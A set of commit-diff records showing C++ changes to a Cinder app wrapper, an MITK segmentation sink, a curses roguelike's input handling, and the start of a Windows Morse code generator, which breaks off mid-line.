sketch->stop(CinderSketch::FLAG_APP_PAUSED);\n    }\n    \n#endif\n    \n    void CinderApp::start()\n    {\n        ticks = 0;\n        sketch->clock().start();\n    }\n    \n    void CinderApp::stop()\n    {\n        sketch->clock().stop();\n        LOGI << \"AVERAGE FRAME-RATE: \" << ticks \/ elapsed << \" FPS\" << endl;\n    }\n    \n    void CinderApp::addTouch(int index, const Vec2f &position)\n    {\n        auto scale = sketch->getWindowInfo().contentScale \/ getWindowContentScale();\n        sketch->addTouch(0, position.x \/ scale, position.y \/ scale);\n    }\n    \n    void CinderApp::updateTouch(int index, const Vec2f &position)\n    {\n        auto scale = sketch->getWindowInfo().contentScale \/ getWindowContentScale();\n        sketch->updateTouch(0, position.x \/ scale, position.y \/ scale);\n    }\n    \n    void CinderApp::removeTouch(int index, const Vec2f &position)\n    {\n        auto scale = sketch->getWindowInfo().contentScale \/ getWindowContentScale();\n        sketch->removeTouch(0, position.x \/ scale, position.y \/ scale);\n    }\n}\n<commit_msg>COSMETICS<commit_after>\/*\n * THE NEW CHRONOTEXT TOOLKIT: https:\/\/github.com\/arielm\/new-chronotext-toolkit\n * COPYRIGHT (C) 2012-2014, ARIEL MALKA ALL RIGHTS RESERVED.\n *\n * THE FOLLOWING SOURCE-CODE IS DISTRIBUTED UNDER THE MODIFIED BSD LICENSE:\n * https:\/\/github.com\/arielm\/new-chronotext-toolkit\/blob\/master\/LICENSE.md\n *\/\n\n#include \"chronotext\/cinder\/CinderApp.h\"\n#include \"chronotext\/utils\/Utils.h\"\n\nusing namespace std;\nusing namespace ci;\nusing namespace app;\n\nnamespace chronotext\n{\n    CinderApp::CinderApp()\n    :\n    startCount(0),\n    updateCount(0),\n    ticks(0)\n    {}\n\n    void CinderApp::setup()\n    {\n        \/*\n         * App::privateUpdate__ HACKING: SEE COMMENT IN CinderApp::update\n         *\/\n        io_service().post([this]{ sketch->clock().update(); });\n        \n        sketch->setIOService(io_service());\n        sketch->timeline().stepTo(0);\n        sketch->setup(false);\n        \n#if defined(CINDER_COCOA_TOUCH)\n        getSignalDidBecomeActive().connect(bind(&CinderApp::start, this));\n        getSignalWillResignActive().connect(bind(&CinderApp::stop, this));\n#endif\n    }\n    \n    void CinderApp::shutdown()\n    {\n        stop();\n        sketch->stop(CinderSketch::FLAG_FOCUS_LOST);\n        sketch->shutdown();\n        delete sketch;\n    }\n    \n    void CinderApp::resize()\n    {\n        sketch->resize();\n        \n        if (startCount == 0)\n        {\n            start();\n            sketch->start(CinderSketch::FLAG_FOCUS_GAINED);\n            startCount++;\n        }\n    }\n    \n    void CinderApp::update()\n    {\n        double now = getElapsedSeconds();\n        \n        if (ticks == 0)\n        {\n            t0 = now;\n        }\n        \n        ticks++;\n        elapsed = now - t0;\n        \n        \/\/ ---\n       \n        \/*\n         * App::privateUpdate__ HACKING:\n         * WE MUST UPDATE THE CLOCK AT THE BEGINNING OF THE FRAME,\n         * AND WE NEED THIS TO TAKE PLACE BEFORE THE FUNCTIONS\n         * \"POSTED\" DURING CinderSketch::update ARE \"POLLED\"\n         *\/\n        io_service().post([this]{ sketch->clock().update(); });\n        \n        \/*\n         * MUST BE CALLED BEFORE Sketch::update\n         * ANY SUBSEQUENT CALL WILL RETURN THE SAME TIME-VALUE\n         *\n         * NOTE THAT getTime() COULD HAVE BEEN ALREADY CALLED\n         * WITHIN ONE OF THE PREVIOUSLY \"POLLED\" FUNCTIONS\n         *\/\n        now = sketch->clock().getTime();\n        \n        sketch->update();\n        sketch->timeline().stepTo(now); \/\/ WE OBVIOUSLY CAN'T USE THE APP'S TIMELINE...\n        updateCount++;\n    }\n    \n    void CinderApp::draw()\n    {\n        if (updateCount == 0)\n        {\n            update(); \/\/ HANDLING CASES WHERE draw() IS INVOKED BEFORE update()\n        }\n        \n        sketch->draw();\n    }\n    \n    void CinderApp::mouseDown(MouseEvent event)\n    {\n        addTouch(0, event.getPos());\n    }\n    \n    void CinderApp::mouseDrag(MouseEvent event)\n    {\n        updateTouch(0, event.getPos());\n    }\n    \n    void CinderApp::mouseUp(MouseEvent event)\n    {\n        removeTouch(0, event.getPos());\n    }\n    \n    void CinderApp::touchesBegan(TouchEvent event)\n    {\n        for (auto &touch : event.getTouches())\n        {\n            addTouch(touch.getId() - 1, touch.getPos());\n        }\n    }\n    \n    void CinderApp::touchesMoved(TouchEvent event)\n    {\n        for (auto &touch : event.getTouches())\n        {\n            updateTouch(touch.getId() - 1, touch.getPos());\n        }\n    }\n    \n    void CinderApp::touchesEnded(TouchEvent event)\n    {\n        for (auto &touch : event.getTouches())\n        {\n            removeTouch(touch.getId() - 1, touch.getPos());\n        }\n    }\n    \n    void CinderApp::accelerated(AccelEvent event)\n    {\n        sketch->accelerated(event);\n    }\n    \n    void CinderApp::sendMessageToSketch(int what, const string &body)\n    {\n        sketch->sendMessage(Message(what, body));\n    }\n    \n    void CinderApp::emulate(Settings *settings, const EmulatedDevice &device)\n    {\n        \/*\n         * HACK TO OVERCOME MALFUNCTION IN 0.8.5\n         * OTHERWISE, WE'D USE settings->getDisplay()->getContentScale()\n         *\/\n        stringstream tmp;\n        tmp << *settings->getDisplay();\n        float realContentScale = (tmp.str().back() == '2') ? 2 : 1;\n        \n        float scale = device.contentScale \/ realContentScale;\n        settings->setWindowSize(device.size * scale);\n\n        WindowInfo windowInfo;\n        windowInfo.size = device.size;\n        windowInfo.contentScale = device.contentScale;\n        windowInfo.diagonal = device.diagonal;\n        windowInfo.density = (device.diagonal == 0) ? 0: (device.size.length() \/ device.diagonal);\n        \n        SystemInfo::instance().setWindowInfo(windowInfo);\n    }\n    \n#if defined(CINDER_ANDROID)\n    \n    void CinderApp::resume(bool renewContext)\n    {\n        sketch->setup(true);\n        sketch->start(CinderSketch::FLAG_APP_RESUMED);\n    }\n    \n    void CinderApp::pause()\n    {\n        sketch->event(CinderSketch::EVENT_CONTEXT_LOST);\n        sketch->stop(CinderSketch::FLAG_APP_PAUSED);\n    }\n    \n#endif\n    \n    void CinderApp::start()\n    {\n        ticks = 0;\n        sketch->clock().start();\n    }\n    \n    void CinderApp::stop()\n    {\n        sketch->clock().stop();\n        LOGI << \"AVERAGE FRAME-RATE: \" << ticks \/ elapsed << \" FPS\" << endl;\n    }\n    \n    void CinderApp::addTouch(int index, const Vec2f &position)\n    {\n        auto scale = sketch->getWindowContentScale() \/ getWindowContentScale();\n        sketch->addTouch(0, position.x \/ scale, position.y \/ scale);\n    }\n    \n    void CinderApp::updateTouch(int index, const Vec2f &position)\n    {\n        auto scale = sketch->getWindowContentScale() \/ getWindowContentScale();\n        sketch->updateTouch(0, position.x \/ scale, position.y \/ scale);\n    }\n    \n    void CinderApp::removeTouch(int index, const Vec2f &position)\n    {\n        auto scale = sketch->getWindowContentScale() \/ getWindowContentScale();\n        sketch->removeTouch(0, position.x \/ scale, position.y \/ scale);\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n \nProgram:   Medical Imaging & Interaction Toolkit\nLanguage:  C++\nDate:      $Date$\nVersion:   $Revision$\n \nCopyright (c) German Cancer Research Center, Division of Medical and\nBiological Informatics. All rights reserved.\nSee MITKCopyright.txt or http:\/\/www.mitk.org\/copyright.html for details.\n \nThis software is distributed WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\nPURPOSE.  See the above copyright notices for more information.\n \n=========================================================================*\/\n\n#include \"mitkSegmentationSink.h\"\n#include \"mitkRenderingManager.h\"\n\nnamespace mitk {\n\nSegmentationSink::SegmentationSink()\n{\n}\n\nSegmentationSink::~SegmentationSink()\n{\n}\n\nvoid SegmentationSink::Initialize(const NonBlockingAlgorithm* other) \n{ \n  Superclass::Initialize(other);\n  \/\/ sinks should be called explicitly from the tool, because otherwise the order of setting \"Input\" and \"Group node\" would matter\n  UnDefineTriggerParameter(\"Input\");\n\n  \/\/ some basedata output\n  DataTreeNode::Pointer groupNode;\n  DataTree::Pointer dataTree;\n  bool showResult(true);\n\n  if (other)\n  {\n    other->GetPointerParameter(\"Group node\", groupNode);\n    other->GetPointerParameter(\"Data tree\", dataTree);\n    other->GetParameter(\"Show result\", showResult);\n  }\n\n  SetPointerParameter(\"Group node\", groupNode );\n  SetPointerParameter(\"Data tree\", dataTree );\n  SetParameter(\"Show result\", showResult );\n}\n\nbool SegmentationSink::ReadyToRun()\n{\n  Image::Pointer image;\n  GetPointerParameter(\"Input\", image);\n\n  DataTreeNode::Pointer groupNode;\n  GetPointerParameter(\"Group node\", groupNode);\n\n  return image.IsNotNull() && groupNode.IsNotNull();\n}\n   \nbool SegmentationSink::ThreadedUpdateFunction()\n{\n  return true;\n}\n\n\/\/\/ to be called by subclasses when they want to insert some resulting object (binary image, surface, ...) into the data tree\nvoid SegmentationSink::InsertBelowGroupNode(mitk::DataTreeNode* node)\n{\n  DataTree::Pointer dataTree;\n  GetPointerParameter(\"Data tree\", dataTree );\n\n  DataTreeNode* groupNode = GetGroupNode();\n\n  DataTreeIteratorClone treeIter = dataTree->GetIteratorToNode( groupNode );\n\n  if (treeIter->IsAtEnd()) treeIter->GoToBegin();\n  \n  treeIter->Add(node); \/\/ insert below the group node\n    \n  \/\/ TODO synchronize some properties... (?)\n    \/\/ synchronize color?    optional?\n    \/\/ synchronize visibility?\n  RenderingManager::GetInstance()->RequestUpdateAll(true); \/\/ including vtk actors\n}\n\nDataTreeNode* SegmentationSink::GetGroupNode()\n{\n  DataTreeNode::Pointer groupNode;\n  GetPointerParameter(\"Group node\", groupNode);\n\n  return groupNode.GetPointer();\n}\n    \nDataTreeNode* SegmentationSink::LookForPointerTargetBelowGroupNode(const char* name)\n{\n  DataTreeNode::Pointer groupNode;\n  GetPointerParameter(\"Group node\", groupNode);\n\n  DataTree::Pointer dataTree;\n  GetPointerParameter(\"Data tree\", dataTree );\n\n  if (groupNode.IsNotNull() && dataTree.IsNotNull())\n  {\n    DataTreeIteratorClone treeIter = dataTree->GetIteratorToNode( groupNode );\n\n    SmartPointerProperty* spp = dynamic_cast<SmartPointerProperty*>( groupNode->GetProperty(name));\n\n    if (spp) \/\/ try to find this node as a child \n    {\n      DataTreeNode* lookedForChildNode = dynamic_cast<DataTreeNode*>( spp->GetSmartPointer().GetPointer() );\n      \n      if (lookedForChildNode)\n      {\n        int position = treeIter->ChildPosition( lookedForChildNode );\n        if ( position != -1 )\n        {\n          treeIter->GoToChild( position );\n          return treeIter->Get();\n        }\n      }\n\n    }\n  }\n\n  return NULL;\n\n}\n\n} \/\/ namespace\n\n<commit_msg>FIX (#1172): Some algorithms put results to DataTree, not DataStorage<commit_after>\/*=========================================================================\n \nProgram:   Medical Imaging & Interaction Toolkit\nLanguage:  C++\nDate:      $Date$\nVersion:   $Revision$\n \nCopyright (c) German Cancer Research Center, Division of Medical and\nBiological Informatics. All rights reserved.\nSee MITKCopyright.txt or http:\/\/www.mitk.org\/copyright.html for details.\n \nThis software is distributed WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\nPURPOSE.  See the above copyright notices for more information.\n \n=========================================================================*\/\n\n#include \"mitkSegmentationSink.h\"\n#include \"mitkRenderingManager.h\"\n#include \"mitkDataStorage.h\"\n\nnamespace mitk {\n\nSegmentationSink::SegmentationSink()\n{\n}\n\nSegmentationSink::~SegmentationSink()\n{\n}\n\nvoid SegmentationSink::Initialize(const NonBlockingAlgorithm* other) \n{ \n  Superclass::Initialize(other);\n  \/\/ sinks should be called explicitly from the tool, because otherwise the order of setting \"Input\" and \"Group node\" would matter\n  UnDefineTriggerParameter(\"Input\");\n\n  \/\/ some basedata output\n  DataTreeNode::Pointer groupNode;\n  bool showResult(true);\n\n  if (other)\n  {\n    other->GetPointerParameter(\"Group node\", groupNode);\n    other->GetParameter(\"Show result\", showResult);\n  }\n\n  SetPointerParameter(\"Group node\", groupNode );\n  SetParameter(\"Show result\", showResult );\n}\n\nbool SegmentationSink::ReadyToRun()\n{\n  Image::Pointer image;\n  GetPointerParameter(\"Input\", image);\n\n  DataTreeNode::Pointer groupNode;\n  GetPointerParameter(\"Group node\", groupNode);\n\n  return image.IsNotNull() && groupNode.IsNotNull();\n}\n   \nbool SegmentationSink::ThreadedUpdateFunction()\n{\n  return true;\n}\n\n\/\/\/ to be called by subclasses when they want to insert some resulting object (binary image, surface, ...) into the data tree\nvoid SegmentationSink::InsertBelowGroupNode(mitk::DataTreeNode* node)\n{\n  DataTreeNode* groupNode = GetGroupNode();\n\n  DataStorage::GetInstance()->Add( node, groupNode );\n    \n  RenderingManager::GetInstance()->RequestUpdateAll(true); \/\/ including vtk actors\n}\n\nDataTreeNode* SegmentationSink::GetGroupNode()\n{\n  DataTreeNode::Pointer groupNode;\n  GetPointerParameter(\"Group node\", groupNode);\n\n  return groupNode.GetPointer();\n}\n    \nDataTreeNode* SegmentationSink::LookForPointerTargetBelowGroupNode(const char* name)\n{\n  DataTreeNode::Pointer groupNode;\n  GetPointerParameter(\"Group node\", groupNode);\n\n  if (groupNode.IsNotNull())\n  {\n    return DataStorage::GetInstance()->GetNamedDerivedNode(name, groupNode, true);\n  }\n\n  return NULL;\n\n}\n\n} \/\/ namespace\n\n<|endoftext|>"}
{"text":"<commit_before>#include <curses.h>\n#include <ctime>\n\n#include \"version.h\"\n#ifndef VERSION_STRING\n\t#define VERSION_STRING \"unknown\"\n#endif\n\n#include \"common.hh\"\n#include \"console.hh\"\n#include \"actor.hh\"\n#include \"world.hh\"\n#include \"screens.hh\"\n\nbool handleInput(Actor& pl) {\n\tint k = getch();\n\n\tif (!pl.possessing || pl.possession()) {\n\t\tif      (k == KEY_ESCAPE || k == 'q') return false;\n\t\telse if (k == KEY_LEFT   || k == '4') pl.move(-1,0);\n\t\telse if (k == KEY_RIGHT  || k == '6') pl.move(1,0);\n\t\telse if (k == KEY_UP     || k == '8') pl.move(0,-1);\n\t\telse if (k == KEY_DOWN   || k == '2') pl.move(0,1);\n\t\telse if (k == '7') pl.move(-1,-1);\n\t\telse if (k == '9') pl.move( 1,-1);\n\t\telse if (k == '1') pl.move(-1, 1);\n\t\telse if (k == '3') pl.move( 1, 1);\n\t\telse if (k == '5') pl.idle();\n\t\telse if (k == '?' || k == 'h' || k == KEY_F(1)) { help(); frame(pl); }\n\t\t\/\/ Abilities\n\t\telse if (ability_keys.find(k) != std::string::npos) {\n\t\t\tsize_t i = 0;\n\t\t\t\/\/ Find the ability\n\t\t\tfor (Abilities::iterator it = pl.abilities.begin();\n\t\t\t  it != pl.abilities.end() && i < ability_keys.length(); ++it) {\n\t\t\t\tif (it->hidden || it->automatic) continue; \/\/ Only explicitly usable skills have a key\n\t\t\t\tif (ability_keys[i] == k) {\n\t\t\t\t\t(*it)(&pl); break; \/\/ Do action\n\t\t\t\t}\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\n\t\t\/\/ Cheats\n\t\telse if (k == KEY_F(4)) pl.viewDist = 100;\n\t\telse if (k == KEY_F(5)) pl.type = Actor::HUMAN;\n\t\telse if (k == KEY_F(6)) pl.type = Actor::ANGEL;\n\t\telse if (k == KEY_F(7)) pl.type = Actor::DEMON;\n\t\telse if (k == KEY_F(8)) pl.addExp(1);\n\t\telse if (k == KEY_F(9)) pl.hurt(1);\n\t} else pl.msgs.push_back(\"The possessed soul revolts.\");\n\n\tflushinp();\n\tif (pl.isDead()) return false;\n\treturn true;\n}\n\n\nbool mainLoop() {\n\n\tint abc = title();\n\tif (abc == 0) return false; \/\/ Quit game\n\n\tboost::scoped_ptr<World> world(new World());\n\tActor& pl(world->addActor(new Actor(abc == 1 ? Actor::ANGEL : Actor::IMP, NO_AI)));\n\tpl.position(abc == 1 ? world->getWidth()-3 : 2, world->getHeight() \/ 2);\n\tpl.abilities.push_back(newAbility(Ability_LookAt));\n\n\t\/\/ Actors\n\tActor::Type actor_types[] = {\n\t\tActor::HUMAN, Actor::HUMAN, Actor::HUMAN, Actor::HUMAN,\n\t\tActor::HUMAN, Actor::HUMAN, Actor::HUMAN, Actor::HUMAN,\n\t\tActor::HUMAN, Actor::HUMAN, Actor::HUMAN, Actor::HUMAN,\n\t\tActor::HUMAN, Actor::IMP,   Actor::IMP,   Actor::IMP,\n\t\tActor::IMP,   Actor::IMP,   Actor::DEMON, Actor::ANGEL\n\t};\n\tfor (int i = 0; i < 150; i++) {\n\t\tActor& a(world->addActor(new Actor(actor_types[randint(20)])));\n\t\twhile (!a.position(randint(world->getWidth()),\n\t\t                   randint(world->getHeight())));\n\t}\n\n\terase();\n\tframe(pl);\n\trefresh();\n\n\tdo {\n\t\tframe(pl, true);\n\t\trefresh();\n\t\tworld->update();\n\t\tworld->draw(pl);\n\t} while(!pl.isDead() && handleInput(pl) && !winner(pl));\n\tif (pl.isDead()) death();\n\n\treturn true; \/\/ Come back to main loop for the title screen\n}\n\n\nint main(int argc, char* argv[]) {\n\t\/\/ Process commandline\n\tif (argc > 1) {\n\t\tfor (int i = 1; i < argc; ++i) {\n\t\t\tstd::string arg(argv[i]);\n\t\t\tif (arg == \"-v\" || arg == \"--version\") {\n\t\t\t\tstd::cout << \"Version: \" << VERSION_STRING << std::endl;\n\t\t\t\texit(0);\n\t\t\t} else if (arg == \"-h\" || arg == \"--help\") {\n\t\t\t\tstd::cout << \"Usage: \" << argv[0] << \" [-v|--version] [-h|--help]\" << std::endl;\n\t\t\t\texit(0);\n\t\t\t} else {\n\t\t\t\tstd::cout << \"Unrecognized parameter: \" << arg << std::endl;\n\t\t\t\texit(-1);\n\t\t\t}\n\t\t}\n\t}\n\n\tsrand(time(NULL)); \/\/ Randomize RNG\n\n\t{\n\t\tConsoleWindow cons;\n\t\twhile (mainLoop());\n\t}\n\treturn 0;\n}\n\n<commit_msg>Move some key bindings out of possession detection.<commit_after>#include <curses.h>\n#include <ctime>\n\n#include \"version.h\"\n#ifndef VERSION_STRING\n\t#define VERSION_STRING \"unknown\"\n#endif\n\n#include \"common.hh\"\n#include \"console.hh\"\n#include \"actor.hh\"\n#include \"world.hh\"\n#include \"screens.hh\"\n\nbool handleInput(Actor& pl) {\n\tint k = getch();\n\n\tif      (k == KEY_ESCAPE || k == 'q') return false;\n\telse if (k == '?' || k == 'h' || k == KEY_F(1)) { help(); frame(pl); }\n\n\telse if (!pl.possessing || pl.possession()) {\n\t\tif (k == ' ' || k == '5') pl.idle();\n\t\telse if (k == KEY_LEFT   || k == '4') pl.move(-1,0);\n\t\telse if (k == KEY_RIGHT  || k == '6') pl.move(1,0);\n\t\telse if (k == KEY_UP     || k == '8') pl.move(0,-1);\n\t\telse if (k == KEY_DOWN   || k == '2') pl.move(0,1);\n\t\telse if (k == '7') pl.move(-1,-1);\n\t\telse if (k == '9') pl.move( 1,-1);\n\t\telse if (k == '1') pl.move(-1, 1);\n\t\telse if (k == '3') pl.move( 1, 1);\n\t\t\/\/ Abilities\n\t\telse if (ability_keys.find(k) != std::string::npos) {\n\t\t\tsize_t i = 0;\n\t\t\t\/\/ Find the ability\n\t\t\tfor (Abilities::iterator it = pl.abilities.begin();\n\t\t\t  it != pl.abilities.end() && i < ability_keys.length(); ++it) {\n\t\t\t\tif (it->hidden || it->automatic) continue; \/\/ Only explicitly usable skills have a key\n\t\t\t\tif (ability_keys[i] == k) {\n\t\t\t\t\t(*it)(&pl); break; \/\/ Do action\n\t\t\t\t}\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\n\t\t\/\/ Cheats\n\t\telse if (k == KEY_F(4)) pl.viewDist = 100;\n\t\telse if (k == KEY_F(5)) pl.type = Actor::HUMAN;\n\t\telse if (k == KEY_F(6)) pl.type = Actor::ANGEL;\n\t\telse if (k == KEY_F(7)) pl.type = Actor::DEMON;\n\t\telse if (k == KEY_F(8)) pl.addExp(1);\n\t\telse if (k == KEY_F(9)) pl.hurt(1);\n\t} else pl.msgs.push_back(\"The possessed soul revolts.\");\n\n\tflushinp();\n\tif (pl.isDead()) return false;\n\treturn true;\n}\n\n\nbool mainLoop() {\n\n\tint abc = title();\n\tif (abc == 0) return false; \/\/ Quit game\n\n\tboost::scoped_ptr<World> world(new World());\n\tActor& pl(world->addActor(new Actor(abc == 1 ? Actor::ANGEL : Actor::IMP, NO_AI)));\n\tpl.position(abc == 1 ? world->getWidth()-3 : 2, world->getHeight() \/ 2);\n\tpl.abilities.push_back(newAbility(Ability_LookAt));\n\n\t\/\/ Actors\n\tActor::Type actor_types[] = {\n\t\tActor::HUMAN, Actor::HUMAN, Actor::HUMAN, Actor::HUMAN,\n\t\tActor::HUMAN, Actor::HUMAN, Actor::HUMAN, Actor::HUMAN,\n\t\tActor::HUMAN, Actor::HUMAN, Actor::HUMAN, Actor::HUMAN,\n\t\tActor::HUMAN, Actor::IMP,   Actor::IMP,   Actor::IMP,\n\t\tActor::IMP,   Actor::IMP,   Actor::DEMON, Actor::ANGEL\n\t};\n\tfor (int i = 0; i < 150; i++) {\n\t\tActor& a(world->addActor(new Actor(actor_types[randint(20)])));\n\t\twhile (!a.position(randint(world->getWidth()),\n\t\t                   randint(world->getHeight())));\n\t}\n\n\terase();\n\tframe(pl);\n\trefresh();\n\n\tdo {\n\t\tframe(pl, true);\n\t\trefresh();\n\t\tworld->update();\n\t\tworld->draw(pl);\n\t} while(!pl.isDead() && handleInput(pl) && !winner(pl));\n\tif (pl.isDead()) death();\n\n\treturn true; \/\/ Come back to main loop for the title screen\n}\n\n\nint main(int argc, char* argv[]) {\n\t\/\/ Process commandline\n\tif (argc > 1) {\n\t\tfor (int i = 1; i < argc; ++i) {\n\t\t\tstd::string arg(argv[i]);\n\t\t\tif (arg == \"-v\" || arg == \"--version\") {\n\t\t\t\tstd::cout << \"Version: \" << VERSION_STRING << std::endl;\n\t\t\t\texit(0);\n\t\t\t} else if (arg == \"-h\" || arg == \"--help\") {\n\t\t\t\tstd::cout << \"Usage: \" << argv[0] << \" [-v|--version] [-h|--help]\" << std::endl;\n\t\t\t\texit(0);\n\t\t\t} else {\n\t\t\t\tstd::cout << \"Unrecognized parameter: \" << arg << std::endl;\n\t\t\t\texit(-1);\n\t\t\t}\n\t\t}\n\t}\n\n\tsrand(time(NULL)); \/\/ Randomize RNG\n\n\t{\n\t\tConsoleWindow cons;\n\t\twhile (mainLoop());\n\t}\n\treturn 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>﻿\/\/ @file main.cc\n\/\/ @brief Morse code generator\n\/\/ @author Mamoru Kaminaga\n\/\/ @date 2016-05-15 12:08:31\n\/\/ Copyright 2016 Mamoru Kaminaga\n#include <wchar.h>\n#include <windows.h>\n#include <stdio.h>\n#include \"common.h\"\n#include \"morse_player.h\"\n#include \"resource.h\"\n#include \"sound_device.h\"\n#define WINDOW_STYLE    (WS_POPUP|WS_CAPTION|WS_SYSMENU|WS_MINIMIZEBOX)\nenum OPTIONS {\n  OPTION_HELP = 0,\n  OPTION_STRING,\n  OPTION_NOWINDOW,\n  OPTION_NOSOUND,\n  OPTION_WPM,\n  OPTION_PARIS,\n  ELEMNUM_OPTIONS, \/\/ Array size.\n};\nconst wchar_t kOptions[ELEMNUM_OPTIONS][16] = {\n  L\"-help\",        \/\/ OPTION_HELP\n  L\"-s\",           \/\/ OPTION_STRING\n  L\"-nowindow\",    \/\/ OPTION_NOWINDOW\n  L\"-nosound\",     \/\/ OPTION_NOSOUND\n  L\"-wpm\",         \/\/ OPTION_WPM\n  L\"-paris\",       \/\/ OPTION_PARIS\n};\nconst wchar_t kHelp[ELEMNUM_OPTIONS][64] = {\n  L\"Show help\",                        \/\/ OPTION_HELP\n  L\"Input string to be morse signal\",  \/\/ OPTION_STRING\n  L\"Not show output console\",          \/\/ OPTION_NOWINDOW\n  L\"Not play midi sound\",              \/\/ OPTION_NOSOUND\n  L\"Set WPM, default is 20\",           \/\/ OPTION_WPM\n  L\"Set PARIS, default is 20\",         \/\/ OPTION_PARIS\n};\nbool help_required = false;\nbool no_console = false;\nbool no_sound = false;\nbool play_command_line_string = false;\nint string_argc_offset = 0;\nnamespace mk {\nvoid ShowAndPlay(MorsePlayer* morse_player, wchar_t charactor) {\n  int morse_code = 0;\n  switch (charactor) {\n    case L'a': case L'A': morse_code = MORSE_A; break;\n    case L'b': case L'B': morse_code = MORSE_B; break;\n    case L'c': case L'C': morse_code = MORSE_C; break;\n    case L'd': case L'D': morse_code = MORSE_D; break;\n    case L'e': case L'E': morse_code = MORSE_E; break;\n    case L'f': case L'F': morse_code = MORSE_F; break;\n    case L'g': case L'G': morse_code = MORSE_G; break;\n    case L'h': case L'H': morse_code = MORSE_H; break;\n    case L'i': case L'I': morse_code = MORSE_I; break;\n    case L'j': case L'J': morse_code = MORSE_J; break;\n    case L'k': case L'K': morse_code = MORSE_K; break;\n    case L'l': case L'L': morse_code = MORSE_L; break;\n    case L'm': case L'M': morse_code = MORSE_M; break;\n    case L'n': case L'N': morse_code = MORSE_N; break;\n    case L'o': case L'O': morse_code = MORSE_O; break;\n    case L'p': case L'P': morse_code = MORSE_P; break;\n    case L'q': case L'Q': morse_code = MORSE_Q; break;\n    case L'r': case L'R': morse_code = MORSE_R; break;\n    case L's': case L'S': morse_code = MORSE_S; break;\n    case L't': case L'T': morse_code = MORSE_T; break;\n    case L'u': case L'U': morse_code = MORSE_U; break;\n    case L'v': case L'V': morse_code = MORSE_V; break;\n    case L'w': case L'W': morse_code = MORSE_W; break;\n    case L'x': case L'X': morse_code = MORSE_X; break;\n    case L'y': case L'Y': morse_code = MORSE_Y; break;\n    case L'z': case L'Z': morse_code = MORSE_Z; break;\n    case L'1': morse_code = MORSE_1; break;\n    case L'2': morse_code = MORSE_2; break;\n    case L'3': morse_code = MORSE_3; break;\n    case L'4': morse_code = MORSE_4; break;\n    case L'5': morse_code = MORSE_5; break;\n    case L'6': morse_code = MORSE_6; break;\n    case L'7': morse_code = MORSE_7; break;\n    case L'8': morse_code = MORSE_8; break;\n    case L'9': morse_code = MORSE_9; break;\n    case L'0': morse_code = MORSE_0; break;\n    case L'.': morse_code = MORSE_PER; break;\n    case L',': morse_code = MORSE_COM; break;\n    case L'?': morse_code = MORSE_QUE; break;\n    case L'-': morse_code = MORSE_HIF; break;\n    case L'\/': morse_code = MORSE_SLA; break;\n    case L'@': morse_code = MORSE_ATM; break;\n    case L' ': morse_code = MORSE_SPACE; break;\n    default: morse_code = MORSE_UNKNOWN; break;\n  }\n  \/\/ Morse shown to console.\n  if (!no_console) morse_player->ShowSimbol(morse_code);\n  \/\/ Sound played by device.\n  if (!no_sound) morse_player->PlaySound(morse_code);\n}\n\/\/ Void callback function.\nLRESULT CALLBACK WndProc(HWND wnd, UINT msg, WPARAM wp, LPARAM lp) {\n  \/\/ Prevent warnings for unreferenced parameters.\n  UNREFERENCED_PARAMETER(wnd);\n  UNREFERENCED_PARAMETER(wp);\n  UNREFERENCED_PARAMETER(lp);\n  switch (msg) {\n    case WM_DESTROY:\n      PostQuitMessage(0);\n      break;\n    default:\n      break;\n  }\n  return DefWindowProc(wnd, msg, wp, lp);\n}\n\/\/ Window is required to set icom on win32 application.\nHWND CreateInvisibleWindow(HINSTANCE instance_handle) {\n  WNDCLASSEX wcex;\n  \/\/ Window class registered.\n  memset(&wcex, 0, sizeof(wcex));\n  wcex.cbSize = sizeof(wcex);\n  wcex.style = CS_HREDRAW | CS_VREDRAW;\n  wcex.lpfnWndProc = WndProc;\n  wcex.cbClsExtra = 0;\n  wcex.cbWndExtra = 0;\n  wcex.hInstance = instance_handle;\n  wcex.hCursor = LoadCursor(NULL, IDC_ARROW);\n  wcex.hbrBackground = (HBRUSH) (COLOR_WINDOW + 1);\n  wcex.lpszMenuName = NULL;\n  wcex.lpszClassName = APP_NAME;\n  wcex.hIcon = LoadIcon(instance_handle, MAKEINTRESOURCE(IDI_ICON1));\n  wcex.hIconSm = LoadIcon(instance_handle, MAKEINTRESOURCE(IDI_ICON1));\n  if (RegisterClassEx(&wcex) == 0) return false;\n  \/\/ Invisible window created.\n  return CreateWindow(APP_NAME, APP_NAME, WINDOW_STYLE, CW_USEDEFAULT,\n                      CW_USEDEFAULT, 256, 256, NULL, NULL, instance_handle,\n                      NULL);\n}\n}  \/\/ namespace mk\nint WINAPI wWinMain(HINSTANCE instance_handle, HINSTANCE not_used,\n                    LPTSTR cmd_lind, int cmd_show) {\n  \/\/ Prevent warnings for unreferenced parameters.\n  UNREFERENCED_PARAMETER(instance_handle);\n  UNREFERENCED_PARAMETER(not_used);\n  UNREFERENCED_PARAMETER(cmd_lind);\n  UNREFERENCED_PARAMETER(cmd_show);\n  \/\/\n  HWND window_handle = mk::CreateInvisibleWindow(instance_handle);\n  mk::SoundDevice device(window_handle);\n  device.Initialize();\n  mk::MorsePlayer morse_player(&device);\n  morse_player.Initialize();\n  morse_player.dot_ms_ = 60;\n  \/\/ Command line args proc.\n  for (int i = 1; i < __argc; ++i) {\n    for (int j = 0; j < ELEMNUM_OPTIONS; ++j) {\n      if (wcscmp(__wargv[i], kOptions[j]) == 0) {\n        switch (j) {\n          case OPTION_HELP:\n            help_required = true;\n            break;\n          case OPTION_NOWINDOW:\n            no_console = true;\n            break;\n          case OPTION_NOSOUND:\n            no_sound = true;\n            break;\n          case OPTION_WPM:  \/\/ Same as OPTION_PARIS\n          case OPTION_PARIS:\n            \/\/ wpm (paris) -> dot millis\n            morse_player.dot_ms_ = 60000 \/ (_wtoi(__wargv[i + 1]) * 50);\n            break;\n          case OPTION_STRING:\n            play_command_line_string = true;\n            string_argc_offset = i + 1;\n          default:\n            break;\n        }\n      }\n    }\n  }\n  \/\/ Console proc.\n  if (!no_console) {\n    if (!AttachConsole(ATTACH_PARENT_PROCESS)) AllocConsole();\n    freopen(\"CON\", \"r\", stdin);\n    freopen(\"CON\", \"w\", 